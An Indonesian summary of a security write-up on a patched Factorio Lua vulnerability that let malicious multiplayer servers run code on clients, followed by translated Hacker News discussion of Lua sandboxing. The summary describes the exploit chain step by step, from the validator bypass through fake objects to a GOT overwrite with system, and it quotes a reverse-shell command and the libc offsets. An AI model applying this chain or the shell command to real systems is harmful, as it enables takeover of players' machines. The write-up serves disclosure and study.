2 poin oleh GN⁺ 2024-06-30 | 1 komentar | Bagikan ke WhatsApp
  • Kerentanan pada implementasi Lua di Factorio memungkinkan server berbahaya memperoleh eksekusi kode arbitrer pada klien yang terhubung, dan cakupan dampaknya adalah versi di bawah 1.1.101 yang kini sudah ditambal
  • Karena multipemain menjalankan kode Lua yang sama dengan arsitektur lockstep deterministik, penyerang dapat memicu kerentanan melalui peta kustom berbahaya di jalur jaringan
  • Inti masalahnya ada pada eksekusi bytecode yang diizinkan oleh load/loadstring dalam modul base, serta Off-By-One dan tidak adanya validasi tipe pada validator buatan Factorio
  • Eksploit memanfaatkan type confusion FORLOOP untuk membocorkan alamat, lalu memanipulasi indeks upvalue agar LClosure dan TString tertukar, sehingga bisa membangun objek palsu dan primitive baca/tulis arbitrer
  • RCE di Linux dilakukan dengan mengganti alamat ldexp di GOT menjadi system dan menyalahgunakan pemanggilan math.ldexp, sambil melakukan penyesuaian terpisah karena perbedaan offset struct Factorio dan format %a

Cakupan kerentanan dan jalur paparan Lua

  • Kerentanan pada implementasi Lua di Factorio memungkinkan server berbahaya memperoleh eksekusi kode arbitrer di klien, dan memengaruhi versi Factorio di bawah 1.1.101
  • Lua digunakan di Factorio untuk logika permainan, mod, dan implementasi peta kustom
    • Mod bisa diperoleh di dalam game atau dari Factorio Mods
    • Komunitas modding memiliki ribuan mod, dan beberapa di antaranya telah diunduh lebih dari 500 ribu kali
  • Sekilas ini tampak seperti serangan lokal yang mengharuskan korban memasang mod berbahaya secara langsung, tetapi karena mekanisme sinkronisasi multipemain, interpreter Lua terekspos ke jalur jaringan
  • Multipemain Factorio menggunakan lockstep deterministik
    • Yang dikirim lewat jaringan bukan state game itu sendiri, melainkan hanya input pengguna
    • Game semua pemain harus mensimulasikan setiap tick secara identik
    • Jika satu pemain mengeksekusi kode Lua, pemain lain juga harus mengeksekusi kode yang sama demi sinkronisasi
  • Jalur yang bisa dipakai penyerang untuk mengeksekusi kode Lua diringkas menjadi dua
    • Saat memiliki otoritas, menjalankan kode Lua dari server dengan perintah /c
    • Membuat peta kustom yang berisi kode Lua agar dijalankan klien saat tersambung ke server
  • Jika server berbahaya ditampilkan di browser server, maka bisa terbentuk alur di mana korban mengunduh peta dan mengeksekusi kode Lua

Alur serangan secara keseluruhan

  • Serangan dimulai dari server Factorio yang menyajikan peta berbahaya
    • Kode Lua skenario pada peta menyertakan eksploit
    • Saat klien tersambung ke server, ia akan mengunduh peta dan menjalankan kode Lua terkait
  • Setelah itu, kelemahan implementasi Lua dimanfaatkan untuk membangun objek palsu (fake object)
    • Objek palsu memungkinkan kebocoran memori dan korupsi memori
    • Hasilnya, penyerang dapat membentuk berbagai primitive yang berujung pada eksekusi kode
  • Dalam bahasa dinamis, objek palsu adalah sarana kunci bagi penyerang untuk memperoleh kendali yang kuat
    • String dapat dipakai untuk kebocoran data arbitrer
    • Array atau tabel dapat dipakai untuk tulis memori arbitrer
    • Jika ada jalur pemanggilan fungsi native, itu dapat berkembang menjadi kontrol alur eksekusi

Eksekusi bytecode Lua dan masalah validator

  • Modul Lua yang disertakan di Factorio terbatas
    • debug: akses ke fitur debugging
    • math: antarmuka matematika C standar
    • bit32: operasi bit
    • string: manipulasi string
    • table: manipulasi tabel
    • base: fungsi inti Lua seperti print
  • Modul yang jelas berbahaya seperti os.execute memang tidak ada, tetapi load dan loadstring pada modul base tetap memungkinkan eksekusi bytecode, sehingga permukaan serangannya besar
  • Lua mula-mula mengompilasi source code menjadi bytecode Lua, lalu mengeksekusinya di interpreter
    • Bytecode bukan machine code CPU, melainkan representasi yang hanya bisa dijalankan interpreter Lua
    • Jika bytecode dapat disuntikkan secara langsung, maka bytecode rusak yang tidak mungkin dihasilkan kompiler normal pun bisa dijalankan
  • Pengembang Lua mengetahui risiko eksekusi bytecode arbitrer dan pernah membuat validator, tetapi menghapusnya di Lua 5.2
    • Di mailing list Lua dijelaskan bahwa validator lama berulang kali berhasil dilewati, dan aplikasi yang mengeksekusi kode Lua arbitrer sebaiknya tidak menerima precompiled script
  • Pengembang Factorio tampaknya menerapkan validator bytecode sendiri pada Lua 5.2.1
    • Logika perlindungannya berfokus mencegah parameter OOB yang jelas, seperti lompatan ke luar kode atau indeks di luar rentang array konstanta
    • Karena semantik beberapa opcode, muncul masalah Off-By-One, dan penanganan offset lompatan seperti JMP 0 memungkinkan lompatan ke luar blok kode
    • Karena area konstanta dapat dialokasikan setelah chunk kode, penyerang dapat menyimpan bytecode di bagian konstanta dan mengeksekusinya dengan melewati pemeriksaan lewat lompatan off-by-one

Kebocoran alamat: type confusion FORLOOP

  • Objek internal Lua direpresentasikan sebagai TValue
    • TValue terdiri dari area nilai Value dan tt_ yang menunjukkan tipe
    • Value berukuran 8 byte dan ditafsirkan sebagai double atau pointer tergantung tipenya
  • Di Lua 5.2, semua angka direpresentasikan sebagai double
    • Angka dapat disimpan inline di dalam union Value tanpa melalui pointer
    • Jika pointer string dipaksa ditafsirkan sebagai angka, bit pointer bisa bocor sebagai nilai double
  • Di Lua biasa, print(function) dapat menampilkan alamat, tetapi ini dihapus di Factorio, dan alamat string juga tidak bisa dibocorkan secara langsung
  • Opcode loop FORLOOP normalnya harus datang setelah FORPREP
    • FORPREP memeriksa bahwa nilai awal, batas, dan step adalah angka
    • Di dalam FORLOOP, tipe parameter step tidak diperiksa, dan pemeriksaan berbasis lua_assert tidak dipaksakan pada build default
  • Penyerang dapat memanipulasi bytecode agar FORPREP dihapus dan hanya FORLOOP yang dijalankan
    • Dengan bytecode, bisa dibuat keadaan yang tidak akan pernah dihasilkan kompiler dari source Lua normal
    • Jika objek seperti string diletakkan di posisi step, pointer di TValue tersebut akan ditafsirkan sebagai double dan bocor
  • Nilai bocor itu bukan double normal, melainkan hasil penafsiran bit pointer sebagai double, sehingga tampak sebagai nilai kecil seperti 2.1944577826691e-317
    • IEEE 754 binary64 terdiri dari 1 bit tanda, 11 bit eksponen, dan 52 bit mantissa
    • Jika nilai pointer tampak seperti double terdenormalisasi, nilai aslinya dapat dipulihkan dari mantissa
  • Lua 5.2 tidak memiliki pack/unpack maupun tipe integer, sehingga konversinya rumit
    • Awalnya digunakan string.format("%.13a", double) untuk membaca mantissa dan eksponen lalu memulihkan pointer
    • Contoh nilai bocor berhasil dipulihkan menjadi pointer 0x43d6c0, dan data string sebenarnya berada 24 byte setelah header TString

Manipulasi upvalue dan type confusion LClosure

  • Upvalue adalah mekanisme Lua untuk mengakses variabel di luar scope fungsi saat ini
    • Informasi upvalue pada bytecode mencakup indeks, nama, apakah berada di stack, dan indeks stack
    • Penyerang dapat memodifikasi indeks upvalue yang tertanam di bytecode
  • Dengan mengubah indeks upvalue, referensi bisa diarahkan bukan ke variabel lokal semula, melainkan ke TValue lain di stack
    • Dalam contoh, indeks upvalue target dinaikkan satu sehingga menunjuk ke LClosure fungsi saat ini
    • Bytecode yang dimanipulasi lalu mencetak LClosure: 0x... alih-alih nil
  • Di Lua, unit eksekusi nyata fungsi dibagi menjadi Prototype dan Closure
    • Proto berperan sebagai template fungsi yang memuat bytecode, konstanta, baris source, dan informasi upvalue
    • LClosure dibuat saat runtime dan menghubungkan Proto dengan daftar upvalue
  • Opcode CLOSURE membuat closure Lua baru, meletakkannya di stack, lalu menginisialisasi upvalue-nya
    • Jika ada 3 variabel lokal, LClosure baru bisa ditempatkan di base + 3
    • Jika indeks upvalue diubah menjadi 3, maka TValue LClosure di posisi itu bisa diambil
  • Jika fungsi internal menimpa LClosure milik fungsi luar dengan string, setelah return Lua akan mencoba memakai string itu sebagai LClosure dan terjadilah crash
    • Pemeriksaan tipe pada jalur OP_RETURN bergantung pada lua_assert, yang tidak dipaksakan pada konfigurasi default
    • Akibatnya, cl pada frame eksekusi saat ini dapat menunjuk bukan ke LClosure asli, melainkan ke TString yang dikendalikan penyerang
  • Dengan memanfaatkan perbedaan layout TString dan LClosure, area data pengguna string dapat bertumpang tindih dengan posisi Proto *p dan Upval **upval
    • Type confusion ini memungkinkan kontrol atas pointer prototype fungsi dan pointer array upvalue
    • Jika diarahkan ke area memori yang bisa dikendalikan, maka objek palsu dapat dibuat

Objek palsu dan primitive baca/tulis

  • Jalur pembuatan objek palsu pada dasarnya ada dua
    • Jalur yang membuat Proto palsu menunjuk ke array TValue palsu
    • Jalur yang membuat array UpVal palsu menunjuk ke TValue palsu
  • Jalur konstanta dipilih karena padding-nya lebih sedikit dan konstanta bisa dipakai ulang di dalam fungsi
    • TString palsu
    • Array TValue yang menunjuk ke TString palsu
    • Proto yang menunjuk ke array TValue palsu
    • LClosure yang menunjuk ke Proto palsu
  • TString palsu bisa diberi panjang arbitrer yang sangat besar dan dipakai sebagai primitive baca
    • Data string Lua diasumsikan berada setelah header TString
    • Dengan str:sub(), memori dalam rentang yang disentuh string palsu dapat dibaca
    • Karena indeks string Lua dimulai dari 1, diperlukan koreksi 1 byte dalam perhitungan header
  • Primitive tulis dibuat dengan menjadikan UpVal palsu menunjuk ke TValue pada alamat target tulis
    • Jika angka ditugaskan ke variabel Lua, maka TValue angka akan ditulis ke lokasi tersebut
    • Angka disimpan inline pada 8 byte pertama TValue, sehingga area nilainya bisa dikendalikan
    • Pada saat yang sama, 8 byte berikutnya berisi informasi tipe, sehingga memori di sekitarnya juga bisa rusak
  • Karena angka Lua bertipe double, menulis pola bit integer yang diinginkan memerlukan konversi
    • Digunakan unit terkecil double terdenormalisasi, yaitu 2^-1074
    • Bentuknya adalah integer_to_double(integer) = integer * 2^-1074 untuk mengodekan integer ke representasi double

Kontrol instruction pointer dan bypass ASLR

  • Light C Function di Lua menyimpan function pointer secara inline di dalam TValue
    • Tipe fungsi adalah LUA_TFUNCTION, dan Light C Function direpresentasikan sebagai nilai LUA_TLCF yaitu 22
    • Jika area nilai TValue diisi 0xdeadbeef dan area tipenya diisi 22, maka itu dapat dipanggil seperti fungsi pada alamat tersebut
  • Dengan memanggil Light C Function palsu, instruction pointer bisa dikendalikan
    • Dalam contoh, RIP menjadi 0xdeadbeef lalu crash
    • Setelah itu, teknik pengubahan alur eksekusi seperti ROP chain dapat diterapkan
  • Fakta bahwa pointer Light C Function disimpan inline juga berguna untuk kebocoran alamat
    • Jika fungsi Lua diimplementasikan sebagai light C function, alamat fungsi seperti print bisa dibaca lewat primitive kebocoran alamat
    • Dari situ dapat dihitung base address yang dibutuhkan untuk melewati ASLR
  • Jika fungsi yang disandbox masih tersisa di dalam biner, bypass juga bisa dilakukan dengan membuat fake function yang menunjuk ke alamat tersebut lalu memanggilnya

Penyesuaian khusus untuk Factorio

  • Pengujian awal dilakukan pada interpreter Lua resmi, tetapi implementasi Lua di Factorio memiliki layout struct yang berbeda
  • CommonHeader pada objek GC Factorio menambahkan pointer previous
    • Lua resmi memiliki struktur next, tt, marked
    • Factorio tampaknya memiliki struktur previous, next, tt, marked
  • Perbedaan ini menggeser beberapa offset sebesar 8 byte
    • Header TString menjadi 32 byte, bukan 24 byte
    • Perhitungan alamat isi string dan alamat relatif untuk primitive baca harus disesuaikan
    • Perhitungan UpVal palsu dan fake closure juga harus memperhitungkan pointer tambahan ini
  • Di Factorio, perilaku format %a juga berbeda dari pengujian Lua resmi
    • string.format("%.13a", 2.1038461432219e-316) tidak menghasilkan 0x0.000000289c130p-1022 seperti yang diharapkan, melainkan bentuk 0xa.2704c00000000p-1052
    • Karena itu, pemulihan double berbasis format string menjadi rusak
  • Konversi akhirnya diubah menjadi metode numerik murni
    • Nilai terdenormalisasi dapat dipandang seolah semua integer dimulai dari bit paling rendah di sisi kanan
    • double_to_number(double) = double * 2^52 * 2^1022 digunakan untuk memulihkan nilai bocor
    • Karena 2^1074 tidak bisa direpresentasikan sebagai double, perkalian itu dipecah menjadi dua tahap

RCE Linux: penggantian GOT dan math.ldexp

  • Di Linux, jalur RCE yang dipilih memakai penggantian GOT alih-alih ROP chain
    • Dicari imported function yang dapat dipanggil dari Lua dan argumen pertamanya bisa dikendalikan
    • Entri GOT fungsi tersebut ditimpa dengan alamat system
    • Fungsi itu lalu dipanggil dari Lua agar bertindak seperti system(command)
  • Dalam pustaka Lua terbatas milik Factorio, math.ldexp menjadi fungsi yang cocok
    • Secara internal ia memanggil ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • Dari pemeriksaan GDB terlihat bahwa argumen Lua kedua diteruskan sebagai argumen register pertama RDI pada pemanggilan libc
  • Karena GOT berada sebelum heap, primitive baca string palsu yang sudah ada sulit dipakai untuk membaca langsung ke sana
    • Primitive baca hanya bisa membaca alamat setelah header string palsu
    • Digunakan writable segment yang berada sebelum GOT untuk membangun TString palsu di lokasi sebelum GOT
  • Dengan menempatkan TString palsu di depan GOT, alamat fungsi libc dapat dibaca untuk melewati ASLR
    • Dalam contoh, alamat memcpy dibaca dari GOT
    • Dengan offset libc 2.38 Fedora 39, dihitung libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0
  • Setelah itu, entri GOT ldexp ditimpa dengan alamat system
    • Dalam contoh alamat, lokasi 0x289ef00 digunakan sebagai entri GOT ldexp
    • Penimpaan dilakukan dalam bentuk write(0x289ef00, system)

Eksekusi perintah dan shell jarak jauh akhir

  • Pada awalnya, perintah hendak disimpan di string Lua lalu dipanggil dengan math.ldexp(0, addr_of(cmd) + 32)
    • Perintahnya berbentuk sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Namun Lua memanggil ldexp dengan parameter 32-bit, sehingga bit atas alamat string terpotong dan gagal
  • Solusinya adalah menulis string perintah langsung ke writable segment biner yang sebelumnya dipakai saat membuat string palsu
    • Karena PIE tidak aktif, alamat biner utama cukup kecil
    • String perintah ditulis lewat beberapa kali write() di sekitar alamat 0x289c150
  • Pemanggilan math.ldexp(0, 0x289c150) setelah GOT diganti akan bertindak seperti pemanggilan system(0x289c150)
  • Hasil eksekusi akhirnya dikonfirmasi sebagai shell yang terhubung ke listener lokal nc -lvp 9001
    • Prompt shell adalah sh-5.2$
    • Hasil whoami adalah victim

Tantangan latihan dan referensi

1 komentar

 
GN⁺ 2024-06-30
Komentar Hacker News
  • Tidak terduga
    Karena Lua menginterpretasikan bytecode, saya mengira ia bisa memeriksa apakah argumen instruksi bermakna. Misalnya apakah argumen itu menunjuk ke memori yang dialokasikan Lua, dan hal-hal semacam itu
    Namun ternyata tidak begitu; bytecode dengan argumen yang salah pun tetap dijalankan apa adanya. Proses komprominya kemudian berlanjut dari sana
    Selain itu, alih-alih memperbaiki interpreter, rencananya adalah menganalisis bytecode secara statis, tetapi ini tampaknya hanya berhasil untuk kasus-kasus sederhana
    Untuk bahasa interpreter yang ramah sandbox, ini cukup mengecewakan, dan saya penasaran apakah mereka akan menerima patch yang memperbaiki interpreter agar tidak memercayai input. Mereka tampaknya khawatir soal penurunan performa, tetapi itu meragukan ketika opsi cepatnya adalah LuaJIT

    • Mengenai “patch agar interpreter tidak memercayai input”, pemahaman saya, posisi para pengembang Lua adalah bahwa proses yang menjalankan kode Lua arbitrer seharusnya hanya menerima source code dan mematikan pemuatan bytecode secara langsung
      Pendekatan ini tampak masuk akal karena tetap menyisakan opsi untuk memuat bytecode tepercaya secara langsung, tanpa perlu memasukkan pemeriksaan dinamis ke interpreter yang berdampak pada semua pengguna
    • Berbeda dari salah kaprah umum, Lua sebenarnya tidak ramah sandbox
      Secara desain, Lua tidak memberikan jaminan terminasi, dan tidak ada cara yang baik untuk memaksa program yang tidak tepercaya berhenti. Jika menerima input Lua yang tidak tepercaya, Anda harus menganggap program bisa macet tanpa batas waktu
      Lua sangat bagus untuk input semi-tepercaya yang setidaknya telah melalui uji kelayakan minimal, seperti kode yang diunduh dari internet. Bahkan jika kodenya benar-benar berbahaya, kerusakannya bisa sangat dibatasi, meski tidak dihilangkan sepenuhnya
      Jika membutuhkan input yang sepenuhnya tidak tepercaya ala JavaScript, fork Roblox, Luau, adalah pilihan yang tepat: https://luau-lang.org/sandbox
    • Bukankah sulit menyebutnya ramah sandbox?
      Seperti yang telah ditunjukkan bahasa lain, membuat interpreter yang aman untuk bytecode bukanlah hal sederhana. Ini juga merupakan kompromi untuk membuat implementasi referensi tetap sederhana
      Dalam hal menjalankan kode pihak ketiga, saya tidak memercayai sebagian besar interpreter semacam ini. Bahkan browser pun baru nyaris saya percayai, mengingat biaya riset dan pengembangan serta perhatian yang diterima browser web
    • Ini hal yang bisa diperkirakan. Seharusnya hanya menjalankan bytecode yang benar-benar dihasilkan oleh compiler yang benar. Jika tidak, akan muncul pelanggaran keamanan memori atau sandbox escape, dan sandbox escape melalui pelanggaran keamanan memori juga mungkin terjadi
      Sama seperti tidak menjalankan kode mesin arbitrer
      Luau juga memiliki sifat yang sama, tetapi bukankah Roblox tidak selalu menderita karena sandbox escape?
    • Java, Wasm, dan BPF menunjukkan bahwa bytecode yang dapat diverifikasi secara statis memungkinkan bahkan pada bahasa yang dikompilasi JIT. Masalah Lua adalah bytecode-nya tidak menyediakan informasi yang diperlukan untuk memverifikasi keamanan sepenuhnya
  • Saya berharap bagian-bagian seperti ini didefinisikan atau didokumentasikan dengan lebih jelas. Saat ini kita harus mencari tahu sendiri bahasa mana yang dijamin cukup aman
    Misalnya ada kasus dasar di mana kode statis dijalankan langsung oleh pengguna, dan inilah yang biasanya diperhatikan bahasa-bahasa, termasuk Lua
    Ada juga kasus ketika kode diterima dan dijalankan secara dinamis dalam proses pembaruan, tetapi hanya melalui kanal resmi. Dalam kasus ini, mungkin cukup dengan membuat prosesnya aman, tetapi itu belum pasti
    Ada pula kasus ketika pengguna dapat menambahkan kode sebagai plugin dan memasangnya dengan mudah lewat satu tombol di store. Plugin memang bisa ditinjau, tetapi biasanya hampir tidak dilakukan dengan baik, jadi perlu dipertimbangkan apakah sandbox diperlukan atau pengguna harus berhati-hati
    Ada juga game multipemain di mana hanya server yang diperluas dengan plugin, sementara klien tidak. Perlu dipertimbangkan bahwa gamer yang menjalankan server akan aktif mencoba berbagai plugin, dan komunitas pluginnya juga bisa jauh lebih berisiko
    Terakhir, ada game multipemain seperti browser, di mana server dapat menjalankan kode arbitrer di klien. Dalam kasus ini, perlu sangat berhati-hati khususnya terhadap sandbox di sisi klien. Sebab gamer masuk ke server arbitrer tanpa memikirkan dampak keamanannya
    Factorio tepat berada pada kasus terakhir. Saya tidak sepenuhnya menentang bahwa pengembang harus mengevaluasi hal ini, tetapi misalnya fakta bahwa fungsi load Lua dapat menjalankan bytecode arbitrer yang tidak aman tidak selalu jelas
    Jujur, saya tidak tahu bahwa bytecode Lua tidak aman, dan saya tahu bahwa bytecode LuaJIT tidak aman. Namun fakta ini tampaknya hanya tertulis sesekali di mailing list atau issue GitHub seolah-olah sudah menjadi pengetahuan umum
    Ada juga masalah bahwa server dapat membuat klien macet. Cukup jalankan infinite loop. Namun ini jauh lebih sulit dihindari, dan mungkin upaya menghindarinya pun tidak ada gunanya

    • Jangan pernah menganggap cara apa pun untuk menjalankan kode yang dikendalikan penyerang sebagai aman. Apalagi jika tidak dinyatakan secara eksplisit aman dan tidak didukung dengan upaya setingkat Google untuk mewujudkannya
    • Mordhau, game berbasis Unreal Engine, pernah memiliki fitur message of the day: operator server memasukkan URL, lalu browser dalam game terbuka ketika pemain tersambung
      Tidak ada opsi di sisi klien untuk mematikan browser, dan setahu saya para pengembang akhirnya menonaktifkannya sepenuhnya, meski saya tidak yakin dengan statusnya sekarang
      Ini menunjukkan betapa kompleksnya game dan game engine sekarang. Browser web tertanam muncul di tempat yang tampaknya tidak punya alasan khusus
    • Hal pertama yang harus dilihat adalah apakah solusi tersebut secara jelas menyatakan diri sebagai sandbox yang aman terhadap speculative execution. Mungkin tidak banyak yang melakukannya, tetapi ada beberapa, dan dari sanalah penilaian bisa dimulai
  • Di balik Factorio ada tim pengembang yang sangat bagus, jadi saya percaya mereka berusaha sebaik mungkin untuk memperbaiki masalah seperti ini. Hanya saja, pengembangan gim secara umum sangat bersifat kreatif, sehingga hal-hal seperti praktik penulisan kode atau keamanan tampaknya terdorong ke belakang
    Saya jadi penasaran berapa banyak kerentanan zero-day yang tersembunyi di klien dan server gim

    • Untuk gim yang memiliki interaksi jarak jauh, pada dasarnya saya cenderung menganggapnya tidak sepenuhnya aman. Sebaiknya jalankan Steam dan semua gim dalam bentuk sandbox apa pun
      Flatpak bisa membantu sebagai titik awal. Kontainer memang bukan batas keamanan yang kuat, tetapi bisa menahan eksploit sederhana
    • Kemungkinan tidak terlalu bagus. Coba pikirkan mengapa produsen konsol seperti Xbox, Sony, dan Nintendo tidak mengizinkan koneksi ke IP server sembarang atau dukungan mod
      Itu bukan sekadar keputusan bisnis agar orang memakai layanan online resmi. Jika koneksi ke IP server pihak ketiga diblokir, bug serius pada kode jaringan atau bagian lain dari gim tidak akan pernah bisa dieksploitasi. Dengan membatasi mod, bahkan mod yang “aman” seperti Lua, eksploit bisa makin dicegah
      Kode jaringan yang penuh bug secara historis pernah meruntuhkan DRM beberapa konsol
      Selain eksploit, konsol juga bangga bahwa kode harus melalui peninjauan sebelum didistribusikan. Mengizinkan eksekusi Lua dari sistem jarak jauh berarti gim dapat dikonfigurasi ulang dari jarak jauh oleh pengembangnya sendiri bahkan setelah disetujui, dan produsen konsol tidak ingin mengizinkan hal ini tanpa pemeriksaan yang sangat cermat
    • Karena itu, sebaiknya punya komputer terpisah untuk bermain gim. Lebih baik jangan pernah menyimpan dokumen penting atau materi kerja di sana
      Idealnya diisolasi dalam mesin virtual, tetapi menyiapkan mesin virtual untuk gim sangat merepotkan, dan pada sebagian gim yang memakai anti-cheat bisa membuat Anda tidak bisa ikut bermain
    • Praktik penulisan kode? Factorio termasuk perangkat lunak yang paling terprogram dengan baik, stabil, dan konsisten yang pernah saya lihat
      Mengingat bidang lain sangat membutuhkan orang yang pandai memrogram, rasanya hampir disayangkan orang-orang terampil bekerja di bidang gim
  • Secara umum, verifikasi program sangat sulit bukan hanya karena teorema Rice. Khususnya pada bahasa bytecode yang tidak sepele seperti Lua, sangat mudah ada titik yang terlewat. Wasm, misalnya, tidak punya konsep for loop
    Agak aneh bahwa setelah proyek upstream menyerah karena masalah ini terlalu sulit, para pengembang Factorio mencoba memperbaiki verifier atau menulisnya sendiri
    Fungsi loadstring milik Minetest sepenuhnya melarang bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Saya penasaran mengapa mod Factorio perlu kemampuan menjalankan bytecode Lua mentah. Jika tidak perlu, verifier juga tidak diperlukan
    Sejak awal, menjalankan kode Lua yang diunduh melalui jaringan cukup berbahaya. Lingkungan eksekusi JavaScript telah melalui siklus penemuan dan perbaikan eksploit selama puluhan tahun. Lua juga mengalami hal semacam itu, tetapi skalanya lebih kecil dan jumlah orang untuk meningkatkan keamanannya juga lebih sedikit
    Perlindungan utamanya mungkin justru karena lebih sedikit orang yang menjalankan server gim berbahaya

    • Sebagai respons terhadap masalah ini, Factorio menonaktifkan pemuatan bytecode. Bytecode memang memungkinkan hal-hal keren, seperti menulis mod dalam bahasa praproses yang menghasilkan bytecode Lua, tetapi pada akhirnya masalah keamanan lebih penting
      Karena alasan keamanan serupa, hampir seluruh pustaka debug juga menjadi tidak dapat digunakan oleh mod
    • Pada akhirnya semua pengembang gim belajar dengan susah payah bahwa mereka harus menghapus fitur bytecode dari fungsi loadstring() Lua
      Misalnya ada tulisan dari pengembang ROBLOX 12 tahun lalu: https://archive.is/oXPyM
      Jujur saja, lebih baik dinonaktifkan secara default. Penggunaan yang sah cukup niche
    • Factorio juga punya hal seperti ini: https://mods.factorio.com/mod/Moon_Logic
      Selain itu, membuat perangkat lunak yang begitu saja tidak bisa dijalankan dalam lingkungan Turing-complete cukup membatasi
      Bagaimanapun, yang benar-benar dibutuhkan adalah interpreter dengan sistem izin yang kuat
    • Teorema Rice tampaknya bukan inti persoalan di sini. Itu bisa berguna sebagai filter pertama. Jika Anda percaya hal ini bisa “begitu saja” diputuskan secara tepat, Anda harus berhenti, karena Henry Rice sudah membuktikan setengah abad lalu bahwa hal itu mustahil dan mendapatkan gelar doktor dari sana
      Namun jika Anda berkompromi dengan hanya menerima sebagian input yang memenuhi kebutuhan nyata, teorema Rice selesai. Sekarang yang tersisa bukan pekerjaan yang mustahil, melainkan pekerjaan yang sangat sulit
      Kalaupun gagal, setidaknya mungkin ada hiburan bahwa Anda tidak akan diberi tahu bahwa itu sejak awal mustahil
      Factorio seharusnya tidak mengambil jalan ini
    • Teorema Rice tidak berlaku di sini. Dalam definisi “sintaks” yang luas yang dipakai teorema Rice, hal-hal yang ingin diverifikasi pada bytecode termasuk sintaks
  • Ini pertanyaan sangat pemula, tetapi saya penasaran mengapa gim memakai Lua dan bukan, misalnya, JavaScript tertanam dengan antarmuka terdefinisi seperti API untuk menyesuaikan status gim
    Rasanya bisa mendapat manfaat dari pekerjaan penguatan yang jauh lebih besar yang sudah dilakukan untuk isolasi lingkungan browser. Browser itu sulit, sangat teruji, dan menjadi target dengan pendanaan besar
    Optimisasi performa untuk tipe dinamis juga sudah dikerjakan secara masif
    Selain itu, jika mod membutuhkan UI, ada canvas, dan jika menyediakan model mirip DOM, hal seperti React juga berpotensi dimungkinkan

    • Berdasarkan pengalaman saya beberapa tahun lalu, sebagian besar engine JavaScript sudah tua dan nyaris tidak dipelihara, sementara engine yang dipakai di browser dibuat dengan browser sebagai prioritas, sehingga tidak dirancang agar mudah diintegrasikan
      Lua dibuat khusus untuk integrasi, jadi ada banyak materi dan komunitas besar yang mendukungnya
    • Sebagian besar engine JavaScript jauh lebih rumit untuk ditanamkan dibanding Lua. Lua termasuk perangkat lunak yang paling mudah dikompilasi yang bisa saya pikirkan
      Selain itu, Anda mencampuradukkan API browser umum dengan JavaScript. Engine JavaScript tidak menyediakan canvas atau DOM. Misalnya V8 juga tidak menyediakannya; hal-hal seperti itu harus Anda tambahkan sendiri
  • Saya bukan pengembang keamanan, tetapi secara formal saya ingin berkata, “Wow, ini sangat mengesankan!” Sulit dipercaya betapa jernih dan logisnya seseorang harus berpikir untuk melacak kasus kegagalan serumit ini. Jelas itu bukan kekuatan saya; saya jauh lebih cocok sebagai “orang ide”
    Dari sisi isi, rasanya kita benar-benar tamat kalau muncul sekelompok software engineer AI yang dibekali 10 ribu tulisan blog yang mencari exploit memori aneh seperti ini
    Pada akhirnya, menurut saya kita membutuhkan paradigma yang sama sekali baru untuk keamanan, atau setidaknya elemen baru di dalam stack. Pembicaraan tentang klien “tepercaya” modern atau peran DB terasa seperti menambal lubang-lubang keju Swiss
    Semoga saja kita bisa menambahkan satu lapisan keju Swiss baru lagi yang dikelola LLM

    • Sudah ada orang yang melakukannya. Hasilnya belum menjanjikan
  • Jadi, bukankah ini menunjukkan exploit yang bergantung pada pemuatan bytecode, sebuah fitur yang memang dipromosikan sebagai bisa disalahgunakan? Apa yang saya lewatkan?

    • Hal yang menarik adalah seberapa besar kegagalan pengembang Lua pada verifier bytecode. Ini bukan masalah yang rumit, melainkan hal-hal sederhana seperti off-by-one error saat memodelkan instruksi dasar seperti jmp, atau masalah interpreter Lua yang mencoba menafsirkan semua yang didapatnya sebagai instruksi
      Bahkan bagian data yang tidak disentuh verifier pun coba ditafsirkan
    • Meskipun itu fitur yang dipromosikan, tetap bisa merugikan pengguna akhir yang tidak tahu apa itu Lua atau bytecode
    • Ada bug di interpreter bytecode sehingga eksekusi bytecode arbitrer bisa dimungkinkan bahkan di lingkungan tempat loadstring dinonaktifkan
  • Benar-benar melegakan orang-orang secakap ini berada di pihak yang baik

    • Ini sepertinya menunjukkan betapa banyak orang yang pada dasarnya baik atau tidak ingin merugikan orang lain. Saya tidak tahu kata bahasa Inggris yang tepat
      Media berita membuat kita percaya sebaliknya, dan komentar rata-rata di berita semacam itu juga memperkuat keyakinan tersebut, tetapi kalau memang begitu, bagaimana mungkin berbagai kemewahan serta program dukungan medis dan sosial yang kita nikmati bisa ada
      Bukan berarti dunia tidak punya masalah, tetapi jelas ada jauh lebih banyak orang yang konstruktif daripada orang yang destruktif
      Saya baru saja datang dari thread HN tentang Panama Papers, jadi pemikiran ini lebih terasa. Di sana suasananya sinis, seolah semua orang kaya itu jahat dan semuanya sepenuhnya lolos dari penuntutan, tetapi beberapa komentar dengan tepat menunjukkan bahwa keduanya sebenarnya tidak benar. Hanya saja kita perlu membaca agak ke bawah di thread itu dan tidak terbawa sinisme
  • Menurut saya bytecode Lua sama sekali tidak boleh dipakai di luar sistem embedded yang kekurangan sumber daya untuk menjalankan parser kode sumber Lua
    Selain kerentanan keamanan, satu-satunya kegunaan yang tampak masuk akal adalah untuk program sumber tertutup

  • Mungkin saya melewatkannya, dan saya akui saya hanya membaca sekilas bagian akhir, tetapi sepertinya penulis sama sekali tidak membahas mitigasi apa yang benar-benar dilakukan. Saya ingin mendengar lebih banyak tentang bagian itu